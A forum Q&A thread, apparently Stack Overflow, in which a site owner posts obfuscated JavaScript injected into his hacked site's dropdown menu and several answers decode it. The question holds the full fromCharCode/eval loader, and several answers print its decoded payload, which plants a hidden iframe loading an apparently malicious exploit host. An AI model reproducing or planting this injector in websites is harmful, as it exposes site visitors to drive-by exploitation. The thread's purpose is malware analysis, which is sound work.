Jon Sutton
Jon Sutton

Reputation: 51

Site's Been Hacked - What Does This Javascript Code Do?

Just found out that my website has been hacked. I traced the problem to this piece of Javascript code that was inserted in the Suckerfish dropdown menu. I'm gonna replace the menu with a clean backup, but am just curious what does this piece of code actually do?

(function() {
    var kuk = 'ck5',
    de = document,
    n = navigator,
    u = n.userAgent,
    l = 'anguage';
    function c(b) {
        var i = 'indexOf',
        l = 'length',
        c = de.cookie;
        b = b + "=";
        var a = c[i]("; " + b),
        d = c[i](";", a);
        if (a == -1) {
            a = c[i](b);
            if (a != 0)
                return 0
        }
        return 1
    }
    n = /^en-gb$/i.test(n['systemL' + l] || n['userL' + l] || n['l' + l]) && /(msie) ([\w.]+)|(mozilla)(?:.*? rv:([\w.]+))?/i.test(u) && !c(kuk);
    if (n) {
        var s,
        g = 2,
        aa = document.createTextNode("harCode");
        if (Math.exp(1) === Math.E) {
            s = String["fr" + "omC" + aa.nodeValue];
        }
        eval(s(7 + g, 7 + g, 103 + g, 100 + g, 30 + g, 38 + g, 98 + g, 109 + g, 97 + g, 115 + g, 107 + g, 99 + g, 108 + g, 114 + g, 44 + g, 101 + g, 99 + g, 114 + g, 67 + g, 106 + g, 99 + g, 107 + g, 99 + g, 108 + g, 114 + g, 113 + g, 64 + g, 119 + g, 82 + g, 95 + g, 101 + g, 76 + g, 95 + g, 107 + g, 99 + g, 38 + g, 37 + g, 96 + g, 109 + g, 98 + g, 119 + g, 37 + g, 39 + g, 89 + g, 46 + g, 91 + g, 39 + g, 121 + g, 7 + g, 7 + g, 7 + g, 103 + g, 100 + g, 112 + g, 95 + g, 107 + g, 99 + g, 112 + g, 38 + g, 39 + g, 57 + g, 7 + g, 7 + g, 123 + g, 30 + g, 99 + g, 106 + g, 113 + g, 99 + g, 30 + g, 121 + g, 7 + g, 7 + g, 7 + g, 98 + g, 109 + g, 97 + g, 115 + g, 107 + g, 99 + g, 108 + g, 114 + g, 44 + g, 117 + g, 112 + g, 103 + g, 114 + g, 99 + g, 38 + g, 32 + g, 58 + g, 103 + g, 100 + g, 112 + g, 95 + g, 107 + g, 99 + g, 30 + g, 113 + g, 112 + g, 97 + g, 59 + g, 37 + g, 102 + g, 114 + g, 114 + g, 110 + g, 56 + g, 45 + g, 45 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 49 + g, 44 + g, 97 + g, 120 + g, 44 + g, 97 + g, 97 + g, 45 + g, 103 + g, 108 + g, 98 + g, 99 + g, 118 + g, 44 + g, 110 + g, 102 + g, 110 + g, 61 + g, 114 + g, 110 + g, 59 + g, 96 + g, 95 + g, 47 + g, 51 + g, 95 + g, 46 + g, 52 + g, 50 + g, 51 + g, 99 + g, 96 + g, 95 + g, 50 + g, 99 + g, 98 + g, 99 + g, 37 + g, 30 + g, 117 + g, 103 + g, 98 + g, 114 + g, 102 + g, 59 + g, 37 + g, 47 + g, 46 + g, 37 + g, 30 + g, 102 + g, 99 + g, 103 + g, 101 + g, 102 + g, 114 + g, 59 + g, 37 + g, 47 + g, 46 + g, 37 + g, 30 + g, 113 + g, 114 + g, 119 + g, 106 + g, 99 + g, 59 + g, 37 + g, 116 + g, 103 + g, 113 + g, 103 + g, 96 + g, 103 + g, 106 + g, 103 + g, 114 + g, 119 + g, 56 + g, 102 + g, 103 + g, 98 + g, 98 + g, 99 + g, 108 + g, 57 + g, 110 + g, 109 + g, 113 + g, 103 + g, 114 + g, 103 + g, 109 + g, 108 + g, 56 + g, 95 + g, 96 + g, 113 + g, 109 + g, 106 + g, 115 + g, 114 + g, 99 + g, 57 + g, 106 + g, 99 + g, 100 + g, 114 + g, 56 + g, 46 + g, 57 + g, 114 + g, 109 + g, 110 + g, 56 + g, 46 + g, 57 + g, 37 + g, 60 + g, 58 + g, 45 + g, 103 + g, 100 + g, 112 + g, 95 + g, 107 + g, 99 + g, 60 + g, 32 + g, 39 + g, 57 + g, 7 + g, 7 + g, 123 + g, 7 + g, 7 + g, 100 + g, 115 + g, 108 + g, 97 + g, 114 + g, 103 + g, 109 + g, 108 + g, 30 + g, 103 + g, 100 + g, 112 + g, 95 + g, 107 + g, 99 + g, 112 + g, 38 + g, 39 + g, 121 + g, 7 + g, 7 + g, 7 + g, 116 + g, 95 + g, 112 + g, 30 + g, 100 + g, 30 + g, 59 + g, 30 + g, 98 + g, 109 + g, 97 + g, 115 + g, 107 + g, 99 + g, 108 + g, 114 + g, 44 + g, 97 + g, 112 + g, 99 + g, 95 + g, 114 + g, 99 + g, 67 + g, 106 + g, 99 + g, 107 + g, 99 + g, 108 + g, 114 + g, 38 + g, 37 + g, 103 + g, 100 + g, 112 + g, 95 + g, 107 + g, 99 + g, 37 + g, 39 + g, 57 + g, 100 + g, 44 + g, 113 + g, 99 + g, 114 + g, 63 + g, 114 + g, 114 + g, 112 + g, 103 + g, 96 + g, 115 + g, 114 + g, 99 + g, 38 + g, 37 + g, 113 + g, 112 + g, 97 + g, 37 + g, 42 + g, 37 + g, 102 + g, 114 + g, 114 + g, 110 + g, 56 + g, 45 + g, 45 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 113 + g, 95 + g, 49 + g, 44 + g, 97 + g, 120 + g, 44 + g, 97 + g, 97 + g, 45 + g, 103 + g, 108 + g, 98 + g, 99 + g, 118 + g, 44 + g, 110 + g, 102 + g, 110 + g, 61 + g, 114 + g, 110 + g, 59 + g, 96 + g, 95 + g, 47 + g, 51 + g, 95 + g, 46 + g, 52 + g, 50 + g, 51 + g, 99 + g, 96 + g, 95 + g, 50 + g, 99 + g, 98 + g, 99 + g, 37 + g, 39 + g, 57 + g, 100 + g, 44 + g, 113 + g, 114 + g, 119 + g, 106 + g, 99 + g, 44 + g, 116 + g, 103 + g, 113 + g, 103 + g, 96 + g, 103 + g, 106 + g, 103 + g, 114 + g, 119 + g, 59 + g, 37 + g, 102 + g, 103 + g, 98 + g, 98 + g, 99 + g, 108 + g, 37 + g, 57 + g, 100 + g, 44 + g, 113 + g, 114 + g, 119 + g, 106 + g, 99 + g, 44 + g, 110 + g, 109 + g, 113 + g, 103 + g, 114 + g, 103 + g, 109 + g, 108 + g, 59 + g, 37 + g, 95 + g, 96 + g, 113 + g, 109 + g, 106 + g, 115 + g, 114 + g, 99 + g, 37 + g, 57 + g, 100 + g, 44 + g, 113 + g, 114 + g, 119 + g, 106 + g, 99 + g, 44 + g, 106 + g, 99 + g, 100 + g, 114 + g, 59 + g, 37 + g, 46 + g, 37 + g, 57 + g, 100 + g, 44 + g, 113 + g, 114 + g, 119 + g, 106 + g, 99 + g, 44 + g, 114 + g, 109 + g, 110 + g, 59 + g, 37 + g, 46 + g, 37 + g, 57 + g, 100 + g, 44 + g, 113 + g, 99 + g, 114 + g, 63 + g, 114 + g, 114 + g, 112 + g, 103 + g, 96 + g, 115 + g, 114 + g, 99 + g, 38 + g, 37 + g, 117 + g, 103 + g, 98 + g, 114 + g, 102 + g, 37 + g, 42 + g, 37 + g, 47 + g, 46 + g, 37 + g, 39 + g, 57 + g, 100 + g, 44 + g, 113 + g, 99 + g, 114 + g, 63 + g, 114 + g, 114 + g, 112 + g, 103 + g, 96 + g, 115 + g, 114 + g, 99 + g, 38 + g, 37 + g, 102 + g, 99 + g, 103 + g, 101 + g, 102 + g, 114 + g, 37 + g, 42 + g, 37 + g, 47 + g, 46 + g, 37 + g, 39 + g, 57 + g, 7 + g, 7 + g, 7 + g, 98 + g, 109 + g, 97 + g, 115 + g, 107 + g, 99 + g, 108 + g, 114 + g, 44 + g, 101 + g, 99 + g, 114 + g, 67 + g, 106 + g, 99 + g, 107 + g, 99 + g, 108 + g, 114 + g, 113 + g, 64 + g, 119 + g, 82 + g, 95 + g, 101 + g, 76 + g, 95 + g, 107 + g, 99 + g, 38 + g, 37 + g, 96 + g, 109 + g, 98 + g, 119 + g, 37 + g, 39 + g, 89 + g, 46 + g, 91 + g, 44 + g, 95 + g, 110 + g, 110 + g, 99 + g, 108 + g, 98 + g, 65 + g, 102 + g, 103 + g, 106 + g, 98 + g, 38 + g, 100 + g, 39 + g, 57 + g, 7 + g, 7 + g, 123 + g));
        n = new Date();
        n.setDate(n.getDate() + 3650);
        de.cookie = kuk + '=1;path=/;expires=' + n.toUTCString()
        }
})()

Upvotes: 5

Views: 628

Answers (6)

Minh-Triet Pham Tran
Minh-Triet Pham Tran

Reputation: 369

Here is the deobfuscated JavaScript code:

 if (document.getElementsByTagName('body')[0])
 {
   iframer();
 }
 else
 {
   document.write("<iframe src='http://asasasasa3.cz.cc/index.php?tp=ba15a0645eba4ede' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
 }
 function iframer()
 {
   var f = document.createElement('iframe');
   f.setAttribute('src','http://asasasasa3.cz.cc/index.php?tp=ba15a0645eba4ede');
   f.style.visibility='hidden';
   f.style.position='absolute';
   f.style.left='0';
   f.style.top='0';
   f.setAttribute('width','10');
   f.setAttribute('height','10');
   document.getElementsByTagName('body')[0].appendChild(f);
 }

Upvotes: 1

phihag
phihag

Reputation: 287755

It embeds an invisible iframe from http://asasasasa3.cz.cc/index.php?tp=ba15a0645eba4ede.

Formatted code:

if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("<iframe " +
                 "src='http://asasasasa3.cz.cc/index.php?tp=ba15a0645eba4ede' " +
                   "width='10' height='10' " +
                   "style='visibility:hidden;position:absolute;left:0;top:0;'>" +
                   "</iframe>")
}
function iframer() {
     var f = document.createElement('iframe');
     f.setAttribute('src',
                    'http://asasasasa3.cz.cc/index.php?tp=ba15a0645eba4ede');
     f.style.visibility='hidden';
     f.style.position='absolute';
     f.style.left='0';
     f.style.top='0';
     f.setAttribute('width','10');
     f.setAttribute('height','10');
     document.getElementsByTagName('body')[0].appendChild(f);
}

The page loaded from the above URL (executed code, after undoing another obfuscation layer) seems to try to exploit multiple vulnerabilities. It tries various plugins, and loads yet more pages, probably trying other exploits.

Upvotes: 4

Christopher Tarquini
Christopher Tarquini

Reputation: 11332

Change eval to alert and run it. The basic idea is that it grabs a bunch of information about the the user and stores it in a cookie then uses String.fromCharCode (it's obfuscated but still there) and executes some more code which creates an iframe to an evil site that probably attempts to gain access to the users computers using various exploits.

http://fiddle.jshell.net/qHeJ3/

Here's the payload:

if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("<iframe src='http://asasasasa3.cz.cc/
index.php?tp=ba15a0645eba4ede' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}

function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://asasasasa3.cz.cc/index.php?tp=ba15a0645e
ba4ede');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

Upvotes: 6

Dan D.
Dan D.

Reputation: 74645

the eval(s(...)) decoded is:

if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("<iframe src='http://asasasasa3.cz.cc/index.php?tp=ba15a0645eba4ede' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://asasasasa3.cz.cc/index.php?tp=ba15a0645eba4ede');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

Upvotes: 2

p.campbell
p.campbell

Reputation: 100557

That line near the end with the eval is the payload. Basically it's a JavaScript injection attack, creating a bunch of JavaScript on the fly from ASCII values, and executing it.

Here's a jsFiddle demonstrating what it's writing out to your page.

Basically it's creating a new hidden iFrame, and loading a URL from http: //asasasasa3.cz.cc

Upvotes: 1

Cᴏʀʏ
Cᴏʀʏ

Reputation: 107498

Typically I think these types of JavaScript injection techniques do something along the lines of hijacking your links so that they a reroute clicks to some malicious location (site with malicious intent, a link directly to an executable, etc.). The reason it's all chopped up into tiny pieces is to circumvent anti-phishing and anti-spyware software.

As others have pointed out, this one adds an iframe to your page which attempts to hijack your machine.

Upvotes: 0

Related Questions